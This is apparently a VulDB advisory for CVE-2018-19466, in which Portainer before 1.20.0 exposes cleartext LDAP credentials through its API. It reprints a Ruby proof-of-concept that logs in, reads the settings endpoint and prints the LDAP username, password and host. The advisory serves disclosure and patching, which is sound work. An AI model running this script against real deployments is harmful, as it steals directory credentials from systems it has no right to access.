Portainer up to 1.19.x API Credentials credentials management

Summaryinfo

A vulnerability has been found in Portainer up to 1.19.x and classified as problematic. This issue affects some unknown processing of the component API. This manipulation causes credentials management (Credentials). The identification of this vulnerability is CVE-2018-19466. It is possible to initiate the attack remotely. Furthermore, there is an exploit available. The affected component should be upgraded.

Detailsinfo

A vulnerability classified as problematic was found in Portainer up to 1.19.x. Affected by this vulnerability is an unknown part of the component API. The manipulation with an unknown input leads to a credentials management vulnerability (Credentials). The CWE definition for the vulnerability is CWE-255. As an impact it is known to affect confidentiality. The summary by CVE is:

A vulnerability was found in Portainer before 1.20.0. Portainer stores LDAP credentials, corresponding to a master password, in cleartext and allows their retrieval via API calls.

The weakness was shared 03/27/2019 by Mauro Eldritch (plaguedoktor) (GitHub Repository). It is possible to read the advisory at github.com. This vulnerability is known as CVE-2018-19466 since 11/22/2018. The exploitation appears to be easy. The attack can be launched remotely. The exploitation doesn't need any form of authentication. Technical details are unknown but a public exploit is available. The attack technique deployed by this issue is T1552 according to MITRE ATT&CK.

A public exploit has been developed by Mauro Eldritch (plaguedoktor) in Ruby and been published even before and not after the advisory. It is possible to download the exploit at github.com. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 123 days. During that time the estimated underground price was around $0-$5k. The code used by the exploit is:

uri = URI.parse("http://#{$host}:#{$port}/api/auth")
request = Net::HTTP::Post.new(uri)
request.content_type = "application/json"
request.body = JSON.dump({
    "Password" => "#{$pass}",
    "Username" => "#{$user}"
})
response = Net::HTTP.start(uri.hostname, uri.port) do |http|
    http.request(request)
end
token = JSON.parse(response.body)["jwt"]
puts "[*] Session Token: #{token}"
uri = URI.parse("http://#{$host}:#{$port}/api/settings")
request = Net::HTTP::Get.new(uri)
request["Authorization"] = "Bearer #{token}"
response = Net::HTTP.start(uri.hostname, uri.port) do |http|
    http.request(request)
end
json_response = JSON.parse(response.body)
puts "\n[*][#{$host}]\nSettings:"
puts "\t- LDAP User: " + json_response["LDAPSettings"]["ReaderDN"]
puts "\t- LDAP Pass: " + json_response["LDAPSettings"]["Password"]
puts "\t- LDAP Host: " + json_response["LDAPSettings"]["URL"]

Upgrading to version 1.20.0 eliminates this vulnerability.

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Productinfo

Name

• Portainer

Version

• 1.0
• 1.1
• 1.2
• 1.3
• 1.4
• 1.5
• 1.6
• 1.7
• 1.8
• 1.9
• 1.10
• 1.11
• 1.12
• 1.13
• 1.14
• 1.15
• 1.16
• 1.17
• 1.18
• 1.19

Website

• Product: https://github.com/portainer/portainer/

CPE 2.3info

• 🔍
• 🔍
• 🔍

CPE 2.2info

• 🔍
• 🔍
• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Discussion